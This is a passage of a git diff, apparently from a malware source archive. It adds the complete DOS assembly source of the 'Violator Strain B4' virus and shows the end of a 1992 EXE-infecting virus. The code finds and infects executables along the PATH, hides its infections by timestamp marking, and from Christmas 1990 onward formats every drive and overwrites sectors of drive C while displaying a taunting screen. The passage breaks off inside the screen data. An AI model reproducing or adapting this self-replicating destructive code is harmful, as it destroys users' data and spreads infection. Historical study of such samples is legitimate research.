cont1 + jmp cant_open_file + +cont1: xchg ax,bx + + mov ah,3f + mov cx,1c + mov dx,offset Exe_header-Virus_Start + add dx,si + int 21 + + jc read_error + + cmp byte ptr ds:[si+Exe_header-Virus_Start],'M' + jnz no_exe ; !!! Some EXEs starts with ZM !!! + cmp word ptr ds:[si+Exe_header-Virus_Start+12],'DY' + jz infected + + mov ax,4202 ; Go EOF + xor cx,cx + xor dx,dx + int 21 + + push dx + push ax + + mov ah,40 ; Write virus to EOF. + mov cx,Virus_Lenght + mov dx,si + int 21 + + mov ax,4202 ; Get NEW filelenght. + xor cx,cx + xor dx,dx + int 21 + + mov cx,200 + div cx + inc ax + mov word ptr ds:[Exe_header-Virus_Start+2+si],dx + mov word ptr ds:[Exe_header-Virus_Start+4+si],ax + + pop ax + pop dx + + mov cx,10 + div cx + sub ax,word ptr ds:[Exe_header-Virus_Start+8+si] + mov word ptr ds:[Exe_header-Virus_Start+16+si],ax + mov word ptr ds:[Exe_header-Virus_Start+14+si],dx + + mov word ptr ds:[Exe_header-Virus_Start+12+si],'DY' + + mov ax,4200 ; Position file-pointer to begin of file + xor cx,cx + xor dx,dx + int 21 + + mov ah,40 ; Write header + mov cx,1c + mov dx,offset Exe_header-Virus_Start + add dx,si + int 21 + + jc write_error + +no_exe: +infected: + mov ah,3e + int 21 + +Sick_or_EXE: mov ah,4f + jmp look4victim + +write_error: ; Here you can test whats went wrong. +read_error: ; This is just for debugging purpose. +cant_open_file: ; These entries are equal to eachother +no_victim_found: ; but could be changed if you need to test something. + + pop ds + retf + +file_match db '*.EXE',0 ; Pattern to search for. + ; Don't forget to end with 0 ! + +Exe_header db 16 DUP(0) + dw 0fff0 ; Adjustment just for this COM-file. + db 4 DUP(0) + +notes db '(c) 1992 Tormentor / Demoralized Youth ',0a,0d + db 'Rather first in hell, than second in heaven.' + +Own_Dta db 02bh DUP(0) + +Virus_End EQU $ + + end Virus_Start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v_violb4.asm b/MSDOS/Virus.MSDOS.Unknown.v_violb4.asm new file mode 100644 index 00000000..f26d378d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v_violb4.asm @@ -0,0 +1,691 @@ +;***************************************************************************** +; Violator Strain B4 +;***************************************************************************** +; +; Notes: (Nov.26.9O) +; ------------------ +; +; "Happy Holiday's Guys!!!" +; +; Haha! I just got off the line with Flash Force. We decided to make +; a Violator Strain B4 which will have a nice little ANSI Christmas tree +; with RABID's seasons greetings. So the file will be huge! But who cares. +; People won't notice an infection until it's too late due to the short life +; of this virus. +; +; New editions to this virus are a counter that keeps track of how many philes +; it has infected (Where it is in the program, I have no idea!!!), and a +; nice ANSI screen. +; +; I also fixed that stupid re-infection bug in B3... Bah! To err is human... +; +;***************************************************************************** +; +; Written by The High Evolutionary +; +; Copyright (c) 199O by The RABID Nat'nl Development Corp. +; +;***************************************************************************** + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + CLD + MOV SI,DX + ADD SI,first_3 + MOV DI,OFFSET 100H + MOV CX,3 + REPZ MOVSB + MOV SI,DX + MOV AH,30H + MOV marker,1 + CALL filter + CMP AL,0 + JNZ year_check + JMP quit + +filter: CMP marker,1 + JE int_21 + CMP marker,2 + JE int_13 + CMP marker,3 + JE int_26 + RET + +int_21: INT 21H + RET + +int_13: INT 13h + RET + +int_26: INT 26h + RET + +year_check: + MOV AH,2AH ; Get date info + MOV marker,1 ; Set function for INT 21 + CALL filter ; Call the filter routine + CMP CX,1990 ; Check if it's 1990 + JGE month_check ; Yes? Check the month + JMP infect ; No? Go to infection routine + +month_check: + CMP DH,month ; Check if it's December + JGE day_check ; Yeah? Check the day + JMP infect ; No? Infect a phile + +day_check: + CMP DL,day ; Check if it's Christmas + JGE kill_13 ; Yeah? Kill all drives + JMP infect ; No? Infect a poor guy! + +kill_13: + MOV AL,counter ; Move drive into AL + CALL ala_13 ; Kill the drive + CMP counter,27 ; Check to see if it's drive Z: + JE re_format ; Yes! Then go to re_format + INC counter ; Increase the counter + LOOP kill_13 ; Jump up and fry the next one + +ala_13: MOV CH,0 ; Set to track 0 + MOV DL,counter ; Set drive to counter + MOV AH,05h ; Set function for formatting + MOV DH,0 ; Format Head 0 + MOV marker,2 ; Set for INT_13 call + CALL filter ; Call the filter routine + RET ; Return from call +; +; I changed this routine, becuase in the original Violator, I rewrote the +; data segment by calling it for the INT 26. All I did this time, was just +; set BX to be an offset of my INTRO var. That way, when Drive C is formatted, +; the Violator identifier string will be written everywhere... Kinda neat! +; + +re_format: + MOV BP,OFFSET ansi ; Offset of ANSI screen + MOV CX,2000 ; Set for 2000 bytes + MOV AH,13h ; Set function for write to screen + MOV AL,3 ; Set all attributes to be written + MOV BH,0 ; + MOV BL,0 ; + MOV DH,0 ; Row 0 + MOV DL,0 ; Column 0 + INT 10h ; Display it to screen + PUSHF ; Push Flags onto stack 'cause INT + ; 26 kill the flag status + MOV BX,OFFSET intro ; Add a message on the fried drive! + MOV DX,00 ; Set for sector 0 + MOV CX,800 ; Write 800 sectors + MOV AL,2 ; Make it drive C: + MOV marker,3 ; Set up for INT 26 call + CALL filter ; Call filter for INT 26 + POPF ; Restore the flags we pushed + +infect: PUSH ES + MOV AH,2FH + MOV marker,1 + CALL filter + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + CALL filter + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + +find_path: + POP SI + PUSH SI + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path + LOOP check_next_4 + POP SI + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden + CALL filter + JMP SHORT find_first + +find_next: + MOV AH,4FH + CALL filter + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1CH + CMP AL,1CH + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H +; +;Is the file too long? +; + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH +; +;Is it too short? +; + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + CALL filter + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + CALL filter + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + CALL filter + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + INC times ; Add one to the times counter so + ; that we can keep track off how many + ; files we have infected... + MOV BX,AX + MOV AX,OFFSET 5700H + CALL filter + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + CALL filter + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + CALL filter + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + CALL filter + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + MOV [DI],CX + MOV AH,40H + MOV CX,virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ;address of virus code in memory + CALL filter + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + CALL filter + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + CALL filter + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1CH ;Make timestamp with the infected + ;seconds!!! + MOV AX,OFFSET 5701H + CALL filter + MOV AH,3EH + CALL filter + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + CALL filter + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + CALL filter + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH + +vir_dat EQU $ + +month db 12 ;Set month to December +day db 25 ;Set day to Christmas +intro db 13,10 + DB 'Violator Strain B4 - Written by The RABID Nat''nl Development Corp.',13,10 + DB ' RABID would like to take this opportunity to extend it''s sincerest',13,10 + db ' holiday wishes to all Pir8 lamers around the world! If you are',13,10 + db ' reading this, then you are lame!!!',13,10 + db ' Anyway, to John McAffe! Have a Merry Christmas and a virus filled',13,10 + db ' new year. Go ahead! Make our day!',13,10,13,10 + db ' Remember! In the festive season, Say NO to drugs!!! They suck shit!',13,10 + db '(Bah! We make a virus this large, might as well have something positive!)',13,10 +marker DB 0 ;Marker for INT purposes +counter DB 2 ;Counter for drives +times DB 0 +ansi DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,'T',15,'H',15,'E',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,'',9,'',9,'',9,'',9,'' + DB 9,'',9,'',9,'',9,'',9,'',9,'',9,'',9,'',15,'' + DB 15,'',15,'',15,'',15,'',15,'',15,'',15,'',15,'' + DB 15,'',9,'',9,'',9,'',9,'',9,'',9,'',9,'',9,'' + DB 9,'',12,'',12,'',12,'',12,'',12,'',12,'',12,'' + DB 12,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,'',9,' ',9,' ',9,' ',9,'',9,'',9,'',9,' ' + DB 9,' ',9,'',9,'',9,' ',9,' ',9,'',15,'',15,' ',15,' ' + DB 15,'',15,'',15,' ',15,' ',15,' ',15,'',9,'',9,' ' + DB 9,' ',9,'',9,'',9,' ',9,' ',9,'',9,'',12,' ',12,' ' + DB 12,' ',12,'',12,'',12,' ',12,'',12,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',9,' ' + DB 9,' ',9,' ',9,'',9,' ',9,'',9,' ',9,' ',9,'',9,'' + DB 15,' ',15,' ',15,'',15,'',15,' ',15,' ',15,'',15,'' + DB 15,' ',15,' ',15,' ',15,'',9,'',9,' ',9,' ',9,'',9 + DB '',9,' ',9,' ',9,'',12,'',12,' ',12,' ',12,' ',12,'' + DB 12,'',12,' ',12,'',9,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,'',9,' ',9,' ',9,' ',9 + DB '',9,'',9,'',9,' ',9,' ',9,'',15,'',15,' ',15,' ' + DB 15,'',15,'',15,' ',15,' ',15,'',15,'',15,' ',15,' ' + DB 15,' ',15,'',9,'',9,' ',9,'',9,'',9,'',9,' ',9,' ' + DB 9,'',12,'',12,' ',12,' ',12,' ',12,'',12,'',12,' ' + DB 12,'',9,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,'',1,' ',1,' ',1,'',1,'',1,'',1,' ' + DB 1,' ',1,'',15,'',15,'',15,' ',15,' ',15,'',15,'' + DB 15,' ',15,' ',15,'',15,'',15,' ',15,' ',15,' ',15,'' + DB 1,'',1,' ',1,'',1,'',1,'',12,' ',12,' ',12,'',12 + DB '',12,' ',12,' ',12,' ',12,'',12,'',1,' ',1,'',1,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,'',1,' ',1,' ',1,'',1,' ',1,'',1,'',1,' ',1,'' + DB 15,'',15,'',15,' ',15,' ',15,'',15,'',15,' ',15,' ' + DB 15,'',15,'',15,' ',15,' ',15,' ',15,'',1,'',1,' ' + DB 1,' ',1,'',1,'',12,' ',12,' ',12,'',12,'',12,' ',12 + DB ' ',12,' ',12,'',1,'',1,' ',1,'',1,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',1,' ' + DB 1,' ',1,'',1,' ',1,' ',1,'',15,' ',15,' ',15,'',15 + DB '',15,' ',15,' ',15,'',15,'',15,' ',15,' ',15,'',15 + DB '',1,' ',1,' ',1,' ',1,'',1,'',1,' ',1,' ',1,'',12 + DB '',12,' ',12,' ',12,'',12,'',12,' ',12,' ',12,' ',12 + DB '',1,'',1,' ',1,'',1,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,'',1,'',1,'',1,'',1 + DB ' ',1,' ',1,'',15,'',15,'',15,'',15,'',15,'',15 + DB '',15,'',15,'',15,'',15,'',15,'',1,'',1,'',1,'' + DB 1,'',1,'',1,'',1,'',1,'',1,'',12,'',12,'',12,'' + DB 12,'',12,'',12,'',12,'',1,'',1,'',1,'',1,'',1 + DB '',1,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',15,'a',15 + DB 't',15,'i',15,'o',15,'n',15,'a',15,'l',15,' ',15,'D',15 + DB 'e',15,'v',15,'e',15,'l',15,'o',15,'p',15,'m',15,'e',15 + DB 'n',15,'t',15,' ',15,'C',15,'o',15,'r',15,'p',15,'o',15 + DB 'r',15,'a',15,'t',15,'i',15,'o',15,'n',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,'.',7,'.',7,'.',7,'w',7,'o',7,'u',7,'l',7,'d',7 + DB ' ',7,'l',7,'i',7,'k',7,'e',7,' ',7,'t',7,'o',7,' ',7 + DB 't',7,'a',7,'k',7,'e',7,' ',7,'t',7,'h',7,'i',7,'s',7 + DB ' ',7,'o',7,'p',7,'p',7,'o',7,'u',7,'r',7,'t',7,'u',7 + DB 'n',7,'i',7,'t',7,'y',7,' ',7,'t',7,'o',7,' ',7,'s',7 + DB 'p',7,'r',7,'e',7,'a',7,'d',7,' ',7,'i',7,'t',7,39,7,'s' + DB 7,' ',7,'s',7,'i',7,'n',7,'c',7,'e',7,'r',7,'e',7,'s' + DB 7,'t',7,' ',7,'w',7,'i',7,'s',7,'h',7,'e',7,'s',7,' ' + DB 7,'o',7,'f',7,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'a',7,' ',7 + DB 'v',7,'e',7,'r',7,'y',7,' ',7,'m',7,'e',7,'r',7,'r',7 + DB 'y',7,' ',7,'C',7,'h',7,'r',7,'i',7,'s',7,'t',7,'m',7 + DB 'a',7,'s',7,' ',7,'S',7,'e',7,'a',7,'s',7,'o',7,'n',7 + DB '.',7,' ',7,'H',7,'a',7,'v',7,'e',7,' ',7,'a',7,' ',7 + DB 'v',7,'i',7,'r',7,'u',7,'s',7,' ',7,'f',7,'i',7,'l',7 + DB 'l',7,'e',7,'d',7,' ',7,'n',7,'e',7,'w',7,' ',7,'y',7 + DB 'e',7,'a',7,'r',7,'!',7,'!',7,'!',7,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',132,'O',132 + DB 'W',132,' ',132,'F',132,'O',132,'R',132,'M',132,'A',132 + DB 'T',132,'T',132,'I',132,'N',132,'G',132,' ',132,'Y',132 + DB 'O',132,'U',132,'R',132,' ',132,'H',132,'A',132,'R',132 + DB 'D',132,'-',132,'D',132,'R',132,'I',132,'V',132,'E',132 + DB '!',132,'!',132,'!',132,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,15,142,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 6,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,'',10,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,'',10,'',10,'',10,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'' + DB 10,'',10,'',10,'',10,'',10,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'',10,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,'',10,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,'',10,'',10,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,'',10,'',10,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' 